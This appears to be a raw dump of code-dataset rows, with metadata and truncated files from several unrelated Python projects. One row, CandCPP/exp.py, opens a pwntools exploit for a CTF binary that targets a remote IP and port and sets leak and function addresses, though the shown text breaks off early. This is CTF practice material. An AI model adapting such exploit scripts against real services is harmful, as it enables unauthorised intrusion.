camp-zju/HHypermap
f65133f2a45188ccc91dca48ea5a7f6d5afa1c18
[ "MIT" ]
6
2018-04-17T03:07:06.000Z
2022-01-11T00:14:42.000Z
setup.py
camp-zju/HHypermap
f65133f2a45188ccc91dca48ea5a7f6d5afa1c18
[ "MIT" ]
23
2018-05-14T21:13:58.000Z
2022-03-21T22:16:40.000Z
setup.py
camp-zju/HHypermap
f65133f2a45188ccc91dca48ea5a7f6d5afa1c18
[ "MIT" ]
2
2019-09-18T05:48:03.000Z
2020-03-19T07:06:29.000Z
import os from distutils.core import setup from distutils.command.install import INSTALL_SCHEMES from setuptools import find_packages from hypermap import __version__, __description__ def read(*rnames): with open(os.path.join(os.path.dirname(__file__), *rnames)) as ff: return ff.read() setup( name=_...
24.548387
70
0.581472
151
1,522
5.668874
0.635762
0.030374
0.03271
0.03972
0.084112
0.084112
0.084112
0
0
0
0
0.015371
0.273325
1,522
61
71
24.95082
0.75859
0
0
0
0
0
0.339685
0.02431
0
0
0
0
0
1
0.017544
true
0
0.087719
0
0.122807
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
e4cb77ef15c6281746b9224f3a653571c3753950
925
py
Python
USPTO-15K/scripts/coverage.py
wengong-jin/nips17-rexgen
fb7dea369b0721b88cd0133a7d66348d244f65d3
[ "MIT" ]
113
2017-09-22T19:42:50.000Z
2022-02-05T03:11:27.000Z
USPTO-15K/scripts/coverage.py
wibrow/nips17-rexgen
fb7dea369b0721b88cd0133a7d66348d244f65d3
[ "MIT" ]
6
2017-11-18T05:54:49.000Z
2021-03-04T08:28:46.000Z
USPTO-15K/scripts/coverage.py
wibrow/nips17-rexgen
fb7dea369b0721b88cd0133a7d66348d244f65d3
[ "MIT" ]
41
2017-12-13T02:32:10.000Z
2022-01-09T06:39:40.000Z
cand = open('lbp-bond/data.cbond') gold = open('data/connor_split.csv') tot,good = 0,0 for line in cand: cand_bonds = [] for v in line.split(): x,y = v.split('-') cand_bonds.append((int(x),int(y))) line = gold.readline() items = line.split() if items[1] != 'test': continue ...
25
46
0.484324
142
925
3.084507
0.28169
0.059361
0.079909
0.054795
0.246575
0.246575
0.246575
0.246575
0.246575
0.246575
0
0.019017
0.317838
925
36
47
25.694444
0.675119
0
0
0.258065
0
0
0.055135
0.022703
0
0
0
0
0
0
null
null
0
0
null
null
0.032258
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4cc0d2e30cb90d31f4c75e015c940d7ee00182a
19,236
py
Python
extras/simpleperf/runtest/runtest.py
Keneral/asystem
df12381b72ef3d629c8efc61100cc8c714195320
[ "Unlicense" ]
null
null
null
extras/simpleperf/runtest/runtest.py
Keneral/asystem
df12381b72ef3d629c8efc61100cc8c714195320
[ "Unlicense" ]
null
null
null
extras/simpleperf/runtest/runtest.py
Keneral/asystem
df12381b72ef3d629c8efc61100cc8c714195320
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python # # Copyright (C) 2015 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless req...
32.548223
78
0.629289
2,423
19,236
4.775072
0.104829
0.05013
0.028522
0.038202
0.533189
0.447537
0.398271
0.322645
0.297321
0.297321
0
0.003199
0.268663
19,236
590
79
32.60339
0.819235
0.03821
0
0.428571
0
0
0.083944
0.019015
0
0
0
0
0.016563
0
null
null
0.00207
0.008282
null
null
0.020704
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4d3a3a4b5231dc56cb563722643de1889b8ff1c
9,563
py
Python
scripts/lmpsizes.py
elor/lmputils
5fd38f7ef8fe50f580c530e2a7b457421c6525e5
[ "MIT" ]
1
2016-06-25T13:13:01.000Z
2016-06-25T13:13:01.000Z
scripts/lmpsizes.py
elor/lmputils
5fd38f7ef8fe50f580c530e2a7b457421c6525e5
[ "MIT" ]
null
null
null
scripts/lmpsizes.py
elor/lmputils
5fd38f7ef8fe50f580c530e2a7b457421c6525e5
[ "MIT" ]
null
null
null
#!/usr/bin/env python import sys, re # init def printHelp(): sys.stderr.write("""\ lmpsizes.py, a tool for adjusting the size of a .lmp file Syntax: lmpsizes.py <source.lmp> (operation)... lmpsizes.py -h|--help Description: This script reads the size limits from basis.lmp, alters them using any numbe...
24.583548
233
0.594165
1,366
9,563
4.15959
0.213031
0.030095
0.030975
0.036783
0.241464
0.197642
0.152235
0.12566
0.12566
0.12566
0
0.01839
0.249399
9,563
388
234
24.646907
0.773196
0.048729
0
0.268966
0
0.017241
0.365778
0.012002
0
0
0
0
0
0
null
null
0.013793
0.003448
null
null
0.048276
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4d7579cdae9a7c92d24f6e21579f1d1d07cf7c1
4,054
py
Python
setup.py
crcrewso/qatrackplus
b9da3bc542d9e3eca8b7291bb631d1c7255d528e
[ "MIT" ]
20
2021-03-11T18:37:32.000Z
2022-03-23T19:38:07.000Z
setup.py
crcrewso/qatrackplus
b9da3bc542d9e3eca8b7291bb631d1c7255d528e
[ "MIT" ]
75
2021-02-12T02:37:33.000Z
2022-03-29T20:56:16.000Z
setup.py
crcrewso/qatrackplus
b9da3bc542d9e3eca8b7291bb631d1c7255d528e
[ "MIT" ]
5
2021-04-07T15:46:53.000Z
2021-09-18T16:55:00.000Z
import os import re from setuptools import find_packages, setup root = os.path.dirname(__file__) settingsf = open(os.path.join(root, 'qatrack', 'settings.py'), 'r') __version__ = re.findall(r"""VERSION\s+=\s+['"]+(.*)['"]""", settingsf.read())[0] setup( name='qatrackplus', version=__version__, packages...
37.192661
149
0.580168
546
4,054
4.254579
0.373626
0.007749
0.01808
0.021954
0.068016
0.055101
0.032716
0.032716
0
0
0
0.114827
0.218056
4,054
108
150
37.537037
0.617981
0.007893
0
0.058252
0
0.029126
0.624938
0.263813
0
0
0
0
0
1
0
false
0
0.029126
0
0.029126
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4db245f6a04cd11be89f16f10ad98de90bdf524
2,739
py
Python
spark_auto_mapper_fhir/value_sets/entity_name_use.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
1
2021-11-18T18:06:45.000Z
2021-11-18T18:06:45.000Z
spark_auto_mapper_fhir/value_sets/entity_name_use.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
spark_auto_mapper_fhir/value_sets/entity_name_use.py
icanbwell/SparkAutoMapper.FHIR
98f368e781b46523142c7cb513c670d659a93c9b
[ "Apache-2.0" ]
null
null
null
from __future__ import annotations from spark_auto_mapper_fhir.fhir_types.uri import FhirUri from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType # This file is auto-generated by generate_classes so do not edi...
36.52
86
0.717415
337
2,739
5.747774
0.406528
0.092927
0.10222
0.119257
0.382034
0.345379
0.328343
0.280847
0.280847
0.280847
0
0.01468
0.179263
2,739
74
87
37.013514
0.846975
0.172326
0
0
0
0
0.102299
0.025287
0
0
0
0
0
1
0.058824
false
0
0.235294
0
0.941176
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
e4dde971f2e70ab06559858e0fab7f650c0ab505
94,984
py
Python
ktapp/models.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
5
2015-04-13T09:44:31.000Z
2017-10-19T01:07:58.000Z
ktapp/models.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
49
2015-02-15T07:12:05.000Z
2022-03-11T23:11:43.000Z
ktapp/models.py
cu2/KT
8a0964b77dce150358637faa679d969a07e42f07
[ "CC-BY-3.0" ]
null
null
null
import datetime import hashlib import json import os import random import string from PIL import Image from urlparse import urlparse from django.conf import settings from django.db import models, connection from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, UserManager from django.core.mail imp...
43.411335
186
0.685263
11,902
94,984
5.202655
0.059402
0.02881
0.022674
0.031847
0.64528
0.555457
0.481848
0.407367
0.344353
0.29282
0
0.008399
0.205256
94,984
2,187
187
43.431184
0.811891
0.012023
0
0.312234
0
0
0.069361
0.005701
0
0
0
0.000457
0
0
null
null
0.003723
0.01117
null
null
0.004787
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4ea2ae722c04bf641f0c113ed3f17b5c66cdf13
1,687
py
Python
CandCPP/exp.py
Mem2019/MyCTFChallenges
cae1e7435739b9949610771cea7771014e896b18
[ "MIT" ]
6
2018-06-21T00:50:23.000Z
2021-07-06T06:21:04.000Z
CandCPP/exp.py
Mem2019/MyCTFChallenges
cae1e7435739b9949610771cea7771014e896b18
[ "MIT" ]
null
null
null
CandCPP/exp.py
Mem2019/MyCTFChallenges
cae1e7435739b9949610771cea7771014e896b18
[ "MIT" ]
3
2018-10-27T13:12:49.000Z
2021-06-02T05:37:12.000Z
from pwn import * g_local=False e=ELF('/lib/x86_64-linux-gnu/libc-2.23.so') context.log_level='debug' if g_local: sh = process('./candcpp')#, env={'LD_PRELOAD':'./libc-2.23.so'}) gdb.attach(sh) else: sh = remote('154.8.222.144', 9999) MAIN_FUNC = 0x4009A0 LEAK_FUNC = 0x400E10 NAME_BUF = 0x602328 def init_name(nam...
20.325301
65
0.665086
284
1,687
3.883803
0.338028
0.139619
0.054397
0.065277
0.248413
0.196736
0.196736
0.174071
0.174071
0.174071
0
0.079181
0.131595
1,687
82
66
20.573171
0.67372
0.031417
0
0.222222
0
0
0.135218
0.020897
0
0
0.0252
0
0
0
null
null
0
0.015873
null
null
0.015873
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
e4ea6b87c9f84a19ddcae37e83769662706b405e
2,164
py
Python
test_interactions.py
testlnord/bomberman
15d52073f26df970a0548e07b79514061017c73e
[ "Apache-2.0" ]
null
null
null
test_interactions.py
testlnord/bomberman
15d52073f26df970a0548e07b79514061017c73e
[ "Apache-2.0" ]
null
null
null
test_interactions.py
testlnord/bomberman
15d52073f26df970a0548e07b79514061017c73e
[ "Apache-2.0" ]
null
null
null
def player_interaction(player, object): if object[0] == 'coin': old_objects.append(object) game_objects[player]['coins'] += 1 def wave_interaction(wave, object): if object[0] == 'player' or object[0] == 'soft_wall': old_objects.append(object) ################3 old_objects = [] ga...
26.390244
103
0.636322
243
2,164
5.514403
0.176955
0.104478
0.11194
0.125373
0.502985
0.376119
0.326866
0.287313
0.206716
0.206716
0
0.026776
0.154344
2,164
81
104
26.716049
0.705464
0.000462
0
0.385965
0
0
0.172575
0
0
0
0
0
0.210526
1
0.070175
false
0.122807
0
0
0.070175
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
e4f1e6378706bc71078bf3d61ef72f03d3aa0d3c
3,013
py
Python
tests/test_simple_polygon.py
CompMaterSci/python-geometry
403244252b9d8521cd4d001ec63cd768d75f5393
[ "BSD-3-Clause" ]
3
2016-07-12T13:22:53.000Z
2019-09-20T07:48:02.000Z
tests/test_simple_polygon.py
CompMaterSci/python-geometry
403244252b9d8521cd4d001ec63cd768d75f5393
[ "BSD-3-Clause" ]
3
2016-12-07T07:20:33.000Z
2017-02-08T09:14:58.000Z
tests/test_simple_polygon.py
CompMaterSci/python-geometry
403244252b9d8521cd4d001ec63cd768d75f5393
[ "BSD-3-Clause" ]
5
2016-07-13T10:40:29.000Z
2020-07-01T07:20:41.000Z
# -*- coding: utf-8 -*- from numpy import array from numpy.testing import assert_allclose from python_geometry.simple_polygon import SimplePolygon class TestEquality(object): def test_SelfPolygon_ReturnTrue(self): polygon = SimplePolygon( vertices=[ (0, 0, 0), ...
27.144144
71
0.419184
284
3,013
4.295775
0.133803
0.072131
0.071311
0.062295
0.62541
0.612295
0.553279
0.553279
0.455738
0.455738
0
0.09589
0.466976
3,013
110
72
27.390909
0.663761
0.00697
0
0.793814
0
0
0
0
0
0
0
0
0.082474
1
0.072165
false
0
0.030928
0
0.123711
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
e4f26ad224253d8b9e159c457b1fb5ec0f23c562
3,432
py
Python
docs/api/model_selection/validation_curve.py
souravsingh/yellowbrick
a5941a6c47fbe5264f3622bc15276ba618bbe1d0
[ "Apache-2.0" ]
1
2019-01-02T20:18:17.000Z
2019-01-02T20:18:17.000Z
docs/api/model_selection/validation_curve.py
souravsingh/yellowbrick
a5941a6c47fbe5264f3622bc15276ba618bbe1d0
[ "Apache-2.0" ]
1
2018-12-26T19:50:41.000Z
2018-12-30T18:51:43.000Z
docs/api/model_selection/validation_curve.py
souravsingh/yellowbrick
a5941a6c47fbe5264f3622bc15276ba618bbe1d0
[ "Apache-2.0" ]
1
2021-08-19T02:29:43.000Z
2021-08-19T02:29:43.000Z
#!/usr/bin/env python3 # validation_curve.py """ Generates the validation curve visualizations for the documentation """ ########################################################################## ## Imports ########################################################################## import os import numpy as np import...
28.840336
89
0.595862
404
3,432
4.873762
0.269802
0.106653
0.076181
0.050787
0.486034
0.429152
0.387506
0.387506
0.387506
0.352463
0
0.010449
0.163462
3,432
118
90
29.084746
0.675374
0.050699
0
0.4
1
0
0.116512
0.057184
0
0
0
0
0
1
0.057143
false
0
0.142857
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1